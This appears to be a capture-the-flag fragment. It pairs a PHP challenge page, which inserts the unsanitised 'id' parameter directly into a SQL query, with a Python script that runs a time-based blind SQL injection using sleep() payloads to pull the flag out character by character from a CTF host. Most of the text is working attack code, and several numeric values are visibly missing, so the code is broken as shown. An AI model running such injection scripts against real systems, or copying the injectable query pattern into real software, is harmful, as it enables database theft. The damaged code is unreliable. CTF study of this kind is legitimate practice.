<?php

    # flag在fl4g里

    include 'waf.php';

    header("Content-type: text/html; charset=utf-8");

    $db = new mysql();

    $id = $_GET['id'];

    if ($id) {

        if(check_sql($id)){

            exit();

        } else {

            $sql = "select * from flllllllag where id=$id";

            $db->query($sql);

        }

    }

    highlight_file(__FILE__);

#脚本来源https://www.gem-love.com/ctf/1669.html#i-2
import requests

import time

import datetime

from urllib.parse import quote

url = "http://2c2d306b5d6745be846972da7fd262b6e3668d53fa124de3.changame.ichunqiu.com/?id=111"

alphabet = ['?','!',',','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','~','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','','','','','','','','','','']

target = 'fl4g'

result = ''

print('www.gem-love.com')

for i in range (,):

    for char in alphabet:

        # 设置payload

        payload =' or if((substr(({}),{},1) regexp "^{}"),sleep(3),1)'.format(target, i, char)

        # 计算响应时长

        start = int(time.time())

        r = requests.get(url+quote(payload))

        response_time = int(time.time()) - start

        if response_time >= :

            result += char

            print('Found: {}'.format(result))

            break